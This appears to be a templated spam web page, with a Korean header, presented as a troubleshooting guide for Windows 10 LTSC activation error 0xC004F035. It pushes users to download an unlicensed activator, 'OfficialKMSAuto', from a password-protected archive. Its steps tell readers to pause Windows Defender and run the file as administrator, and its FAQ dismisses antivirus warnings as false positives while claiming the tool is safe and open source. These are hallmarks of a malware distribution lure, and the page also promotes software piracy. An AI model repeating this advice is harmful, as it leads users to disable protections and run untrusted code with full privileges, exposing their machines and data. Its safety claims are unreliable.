한국어 6 min read·

Windows 10 LTSC 0xC004F035-LTSC — 문제 해결 가이드 2026

본 문서는 2026년 Windows 10 LTSC 0xC004F035-LTSC 한국어 완전 가이드입니다. Step-by-step fix for 0xC004F035-LTSC on Windows 10 LTSC. LTSC edition mismatch on activation. Resolved in under 2 minutes with OfficialKMSAuto.

Windows 10 LTSC 0xC004F035-LTSC — Free Windows & Office activator guide 2026
Download Now — Free🔐 Password: WYqejXiqBi97

본 문서는 2026년 Windows 10 LTSC 0xC004F035-LTSC 한국어 완전 가이드입니다. Error 0xC004F035-LTSC appears when the LTSC key was used on a non-LTSC build. The fastest fix in 2026 is to run OfficialKMSAuto, which detects the cause and applies the correct activation method automatically.

What causes error 0xC004F035-LTSC?

LTSC edition mismatch on activation. Common triggers include hardware changes, expired KMS handshakes, blocked Microsoft licensing endpoints, and incomplete cumulative updates. The error is fixable without contacting Microsoft Support.

Step-by-step fix

Follow these steps in order. The whole process takes under two minutes.

  • Pause Windows Defender real-time protection for ~2 minutes
  • Download and extract OfficialKMSAuto using password WYqejXiqBi97
  • Right-click the executable and choose 'Run as administrator'
  • Click 'Fix 0xC004F035-LTSC' or run the automatic repair option
  • Reboot and verify with slmgr /xpr (Windows) or ospp.vbs /dstatus (Office)

If the error still appears

Rare cases of 0xC004F035-LTSC need a deeper fix: clear the licensing tokens with 'slmgr /rilc', re-arm with 'slmgr /rearm', then re-run the activator. OfficialKMSAuto bundles this entire cleanup as a one-click option.

Why this fix is permanent

HWID and TSforge bind the new license to your motherboard/CPU fingerprint, so the error will not return after Windows Update, feature upgrades, or reinstalls on the same hardware.

Frequently asked questions

Will fixing this error require reinstalling Windows?

No. OfficialKMSAuto resolves activation errors without touching system files or requiring a reinstall.

Is the fix permanent?

Yes — HWID and TSforge bind the license to your hardware, so the error does not return after updates.

Do I need internet access?

Only for the initial handshake. The activation itself runs locally.

What is the archive password?

WYqejXiqBi97 — same for every download on this site.

Is OfficialKMSAuto safe to use for this fix?

Yes. SHA-256 verified, open source, scanned on VirusTotal. Antivirus flags are generic HackTool false-positives.

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Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.

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🔐 Archive password: WYqejXiqBi97

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